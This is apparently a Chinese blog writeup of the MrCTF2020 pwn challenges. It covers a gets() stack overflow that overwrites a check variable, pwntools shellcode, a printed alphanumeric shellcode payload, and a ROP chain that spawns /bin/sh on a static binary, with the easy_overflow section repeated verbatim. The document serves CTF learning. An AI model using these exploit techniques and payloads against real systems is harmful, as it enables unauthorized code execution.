avatar

目录
MrCTF2020 Pwn Writewp

本篇writeup已收录进pwn解题本. Link

前言

天璇战队(merak)办的新生赛,邀请Nepnep去玩儿~ 我跟着凑个热闹~

pwn都不难,除了有道算法题不会(最后队内一个大佬解出来了…)貌似最后还冲到了榜首…

我队大佬们tql,为你们点赞!

Pwn

和WUST-CTF几乎同时举办的~ 所以就只做了pwn~(其他的题队内大佬都秒了)

easy_overflow

  • 题目描述:

    有种你连我

  • 题目附件:easy_overflow

  • 考察点:栈溢出、变量覆盖

  • 难度:入门

  • 初始分值:500

  • 最终分值:50

  • 完成人数:58

程序分析

主要代码如下,gets函数存在漏洞,可导致栈溢出:

c
1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp){
char v4; // [rsp+0h] [rbp-70h]
char v5; // [rsp+30h] [rbp-40h]
// ...
gets(&v4, argv);
if ( !check(&v5) )
exit(0);
system("/bin/sh");
return 0;
}

程序逻辑比较简单:对v5进行检查,通过检查就给shell。

Code
1
2
► 0x555555554874 <main+113>    call   check <0x55555555479a>
rdi: 0x7fffffffda80 ◂— 'ju3t_@_f@k3_f1@g'

v5="ju3t_@_f@k3_f1@g"

check函数如下:

c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
signed __int64 __fastcall check(__int64 a1){
int i; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]

v3 = strlen(fake_flag);
for ( i = 0; ; ++i )
{
if ( i == v3 )
return 1LL;
if ( *(i + a1) != fake_flag[i] )
break;
}
return 0LL;
}

其中fake_flag位于.data段, fake_flag = "n0t_r3@11y_f1@g"

解题思路

gets(&v4)存在溢出,将v4后的v5覆盖为n0t_r3@11y_f1@g即可通过check

exp

python
1
2
3
4
offset = 48
payload = 'A'*offset
payload += 'n0t_r3@11y_f1@g'
sl(payload)

shellcode

  • 题目描述:

    zaima, 有人想试试你的shell麦吉克

  • 题目附件:shellcode

  • 考察点:shellcode

  • 难度:入门

  • 初始分值:500

  • 最终分值:120

  • 完成人数:47

程序分析

没啥好分析的,输入shellcode即可。

exp

python
1
2
payload = asm(shellcraft.sh())
sl(payload)

shellcode-revenge

  • 题目描述:

你的麦基客似乎没用了

  • 题目附件:shellcode-revenge
  • 考察点:aplha shellcode
  • 难度:简单
  • 初始分值:500
  • 最终分值:448
  • 完成人数:18

程序分析

IDA没有识别出来call rax,所以直接F5会失败。用ghidra就没问题~

c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
undefined8 main(void){
ssize_t sVar1;
undefined buf [1032];
int len;
int i;

write(1,"Show me your magic!\n",0x14);
sVar1 = read(0,buf,0x400);
len = (int)sVar1;
if (0 < len) {
i = 0;
while (i < len) {
if (((((char)buf[i] < 'a') || ('z' < (char)buf[i])) &&
(((char)buf[i] < 'A' || ('Z' < (char)buf[i])))) &&
(((char)buf[i] < '0' || ('Z' < (char)buf[i])))) {
printf("I Can\'t Read This!");
return 0;
}
i = i + 1;
}
(*(code *)buf)();
}
return 0;
}

对输入进行了限制,基本上只能使用可见字符做shellcode.

解题思路

直接用alpha3生成shellcode即可。

有关纯字符shellcode的介绍可以看我的这篇文章:纯字符shellcode生成指南

exp

python
1
2
payload = 'Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
se(payload)

easy_overflow

  • 题目描述:

    有种你连我

  • 题目附件:easy_overflow

  • 考察点:栈溢出、变量覆盖

  • 难度:入门

  • 初始分值:500

  • 最终分值:50

  • 完成人数:58

程序分析

主要代码如下,gets函数存在漏洞,可导致栈溢出:

c
1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp){
char v4; // [rsp+0h] [rbp-70h]
char v5; // [rsp+30h] [rbp-40h]
// ...
gets(&v4, argv);
if ( !check(&v5) )
exit(0);
system("/bin/sh");
return 0;
}

程序逻辑比较简单:对v5进行检查,通过检查就给shell。

Code
1
2
► 0x555555554874 <main+113>    call   check <0x55555555479a>
rdi: 0x7fffffffda80 ◂— 'ju3t_@_f@k3_f1@g'

v5="ju3t_@_f@k3_f1@g"

check函数如下:

c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
signed __int64 __fastcall check(__int64 a1){
int i; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]

v3 = strlen(fake_flag);
for ( i = 0; ; ++i )
{
if ( i == v3 )
return 1LL;
if ( *(i + a1) != fake_flag[i] )
break;
}
return 0LL;
}

其中fake_flag位于.data段, fake_flag = "n0t_r3@11y_f1@g"

解题思路

gets(&v4)存在溢出,将v4后的v5覆盖为n0t_r3@11y_f1@g即可通过check

exp

python
1
2
3
4
offset = 48
payload = 'A'*offset
payload += 'n0t_r3@11y_f1@g'
sl(payload)

nothing_but_everythin

  • 题目描述:

    What could you do with such a pile of rubbish?

  • 题目附件:nothing_but_everythin

  • 考察点:栈溢出、静态编译

  • 难度:简单

  • 初始分值:500

  • 最终分值:465

  • 完成人数:15

程序分析

第两次read存在栈溢出:

c
1
2
3
4
5
6
7
8
9
10
undefined8 main(void){
undefined local_78 [112];

FUN_00411f60(PTR_DAT_006b97a8,0);
FUN_00411f60(PTR_DAT_006b97a0,0);
read(0,&DAT_006bc3a0,0x14);
read(0,local_78,0x300);
puts(local_78);
return 0;
}

解题思路

直接找gadget,构造rop链:

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
def ropchain():
from struct import pack
# Padding goes here
p = ''
p += pack('<Q', 0x0000000000400686) # pop rdi ; ret
p += pack('<Q', 0x00000000006BC3A0) # data /bin/sh
p += pack('<Q', 0x00000000004100d3) # pop rsi ; ret
p += pack('<Q', 0x0000000000000000) # data 0
p += pack('<Q', 0x0000000000449505) # pop rdx ; ret
p += pack('<Q', 0x0000000000000000) # data 0
p += pack('<Q', 0x00000000004494ac) # pop rax ; ret
p += pack('<Q', 0x000000000000003b) # date 0x3b
p += pack('<Q', 0x000000000040123c) # syscall
return p

其中"/bin/sh\0"可以利用第一次read读入

exp

python
1
2
3
4
5
6
7
8
9
10
# rop1
offset = 15
payload = p64(0x0)*offset
payload += ropchain()

sl('/bin/sh\0')
#debug()
sl(payload)

p.interactive()

More

这题可以ROPgadget一把梭,刚开始远程打不了,以为是一把梭脚本有问题,后来群里说是题目的问题。。。。修好了之后又试了一下一把梭,可以打:

bash
1
ROPgadget --binary ./nothing_but_everythin --ropchain

静态编译的程序中存在大量gadget,因此可以直接用ROPgadget生成rop链

文章作者: TaQini
文章链接: http://taqini.space/2020/03/31/mrctf-2020-pwn-writewp/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 TaQini
打赏
  • Wechat
    Wechat
  • Alipay
    Alipay

评论